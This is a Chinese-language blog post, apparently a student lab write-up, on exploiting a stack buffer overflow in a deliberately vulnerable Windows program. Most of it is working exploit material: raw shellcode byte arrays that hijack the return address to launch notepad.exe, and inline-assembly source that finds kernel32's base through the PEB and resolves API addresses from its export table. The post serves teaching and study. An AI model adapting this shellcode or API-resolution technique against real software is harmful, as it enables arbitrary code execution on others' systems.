栈溢出的简单利用

前言

最近学校的一些课程简单提到了一些栈溢出的相关危害,并提供一个实验让我们尝试利用缓冲区溢出来打开notepad.exe,并可以尝试在多个操作系统上达到通用性。

实验内容

此次实验采用VS完成,实验开始前记得关闭VS的各项安全保护机制

基础实验

此次实验我们的溢出点为以下代码:

1
2
3
4
5
6
void overflow()
{
char buf[10];
memcpy(buf, shellcode, sizeof(shellcode));

}

我们需要做的是编写一个shellcode来执行WinExec以及ExitProcess

我们先观察已给出的程序,我们可以看到buf的大小为 10,我们对buf拷贝数据时会默认在后面添加一个0x00,然后进行字节对齐其长度应该为12也就是 0x0C
我们可以绘制出以下图:

可以看到我们的返回地址在我们的下面16字节处,我们构建一个Shellcode长为16的0x90,将其进行覆盖,随后我们找到一个jmp esp指令的地址,我们将返回地址设置为该指令的地址

此时shellcode为:

1
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x84,0xBC,0xA7,0x76

随后我们通过Kernel32.dll来获取相关调用函数的绝对地址

img

我们将其进行记录,为后续编写ShellCode做准备

我们前面找到了jmp esp的代码,接下来其执行的地址空间就是我们ShellCode的后续内容,我们将字符串C:\notepad.exe进行压入栈中,需要注意一下小端序是逆序压入。之后我们压入WinExec的参数以及通过将绝对地址给eax,通过call eax对其进行执行

我们构造的ShellCode变为如下:

1
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x84,0xBC,0xA7,0x76,0x60,0x78,0x65, 0x90,0x90,0x68,0x78,0x65,0x00,0x00,0x68,0x61,0x64,0x2e,0x65,0x68,0x6F,0x74,0x65,0x70,0x68,0x63,0x3a,0x5c,0x6e,0x6a, 0x01,0x8b,0xc4,0x83,0xc0,0x04,0x50,0xb8,0xc0,0xe1,0xc0,0x75,0xff,0xd0

我们执行完后因为后续程序地址空间内为0x00(Release下)或0xCC(Debug下)

所以会引发执行异常,我们可以采用调用一个ExitProcess(0)来解决上述问题

此时我们的ShellCode为:

1
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x84,0xBC,0xA7,0x76,0x60,0x78,0x65, 0x90,0x90,0x68,0x78,0x65,0x00,0x00,0x68,0x61,0x64,0x2e,0x65,0x68,0x6F,0x74,0x65,0x70,0x68,0x63,0x3a,0x5c,0x6e,0x6a, 0x01,0x8b,0xc4,0x83,0xc0,0x04,0x50,0xb8,0xc0,0xe1,0xc0,0x75,0xff,0xd0,0x90,0x90,0x90,0x90,0x6a,0x00,0xb8,0x40,0x59, 0xbd,0x75,0xff,0xd0,0x90,0x90,0x90,0x90,0x90,0x90,0x90

我们进行调试运行可以看到我们成功的将返回地址进行覆盖,然后执行内容为我们ShellCode中的汇编代码指令

最后我们可以和成功的打开在根目录下的notepad.exe程序

进阶实验

那么我们对于任意版本的Windows操作系统需要实现通用性便需要通过获取Kernel32.dll的基址,我们通过遍历其导出表来获取对应我们需要调用的函数地址,通过获取到的地址再进行调用即可完成对应操作

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <stdio.h>

typedef unsigned long DWORD;

void GetApiAddr();

char WinExec_[] = "WinExec";
char ExitProcess_[] = "ExitProcess";
DWORD KernelAddr = 0;
DWORD WinExecAddr = 0;
DWORD ExitProcessAddr = 0;


char shellcode[] =
{
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xC0,0x10,0x40,0x00
};

void overflow()
{
char buf[10];
memcpy((char *)buf, shellcode, sizeof(shellcode));

}

void Backdoor() {
__asm {
; 通过FS寄存器获取Kernel32基址
mov eax, dword ptr fs : [30h] ; 指向PEB结构
mov eax, dword ptr[eax + 0Ch] ; 指向LDR Ptr32 _PEB_LDR_DATA
mov eax, dword ptr[eax + 0Ch] ; 指向InLoadOrderModuleList _LIST_ENTRY
mov eax, dword ptr[eax] ; 移动_LIST_ENTRY
mov eax, dword ptr[eax] ; 指向Kernel32
mov eax, dword ptr[eax + 18h] ; 指向DllBase基址
mov KernelAddr, eax ; 保存基址


push offset WinExec_
push KernelAddr
call GetApiAddr
mov WinExecAddr, eax



push offset ExitProcess_
push KernelAddr
call GetApiAddr
mov ExitProcessAddr, eax


; 目标文件 C:\\Windows\\notepad.exe
push 0x00006578
push 0x652e6461
push 0x7065746f
push 0x6e5c7377
push 0x6f646e69
push 0x575c3a43
push 1
mov eax, esp
add eax, 4
push eax

call WinExecAddr

push 0
call ExitProcessAddr
}
}

void __declspec(naked) GetApiAddr() {
__asm {
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ecx
push ebx
push edx
push esi
push edi
mov[ebp - 4], 0
mov esi, [ebp + 0Ch]
mov edx, esi
Continue_Searching_Null :
cmp byte ptr[esi], 0
jz short Got_The_Length
inc esi
jmp short Continue_Searching_Null
Got_The_Length :
inc esi
sub esi, edx
mov[ebp - 8], esi
mov esi, [ebp + 8]
add esi, [esi + 3Ch]
mov esi, [esi + 78h]
add esi, [ebp + 8]
mov ebx, [esi + 20h]
add ebx, [ebp + 8]
xor edx, edx
_Loop :
push esi
mov edi, [ebx]
add edi, [ebp + 8]
mov esi, [ebp + 0Ch]
mov ecx, [ebp - 8]
cld
repe cmpsb
jnz short _Check_Zero
pop esi
jmp short _Find_Index
_Check_Zero :
pop esi
add ebx, 4
inc edx
cmp edx, [esi + 18h]
jb short _Loop
jmp short _Exit
_Find_Index :
sub ebx, [esi + 20h]
sub ebx, [ebp + 8]
shr ebx, 1
add ebx, [esi + 24h]
add ebx, [ebp + 8]
movzx eax, word ptr[ebx]
shl eax, 2
add eax, [esi + 1Ch]
add eax, [ebp + 8]
mov eax, [eax]
add eax, [ebp + 8]
mov[ebp - 4], eax
_Exit :
mov eax, [ebp - 4]
pop edi
pop esi
pop edx
pop ebx
pop ecx
leave
retn 8
}
}

int main()
{
printf("Hacker !!");
if ((DWORD)Backdoor != 0x004010C0) {
printf("Error BackDoor Addr %p", Backdoor);
return 0;
}
overflow();
return 0;
}

上述代码为简便我们直接自己开启一个后门,通过其来完成对应内容实现,我们可以成功的在各个操作系统下成功进行调用


栈溢出的简单利用
https://equinox-shame.github.io/2023/06/07/栈溢出的简单利用/
作者
梓曰
发布于
2023年6月7日
许可协议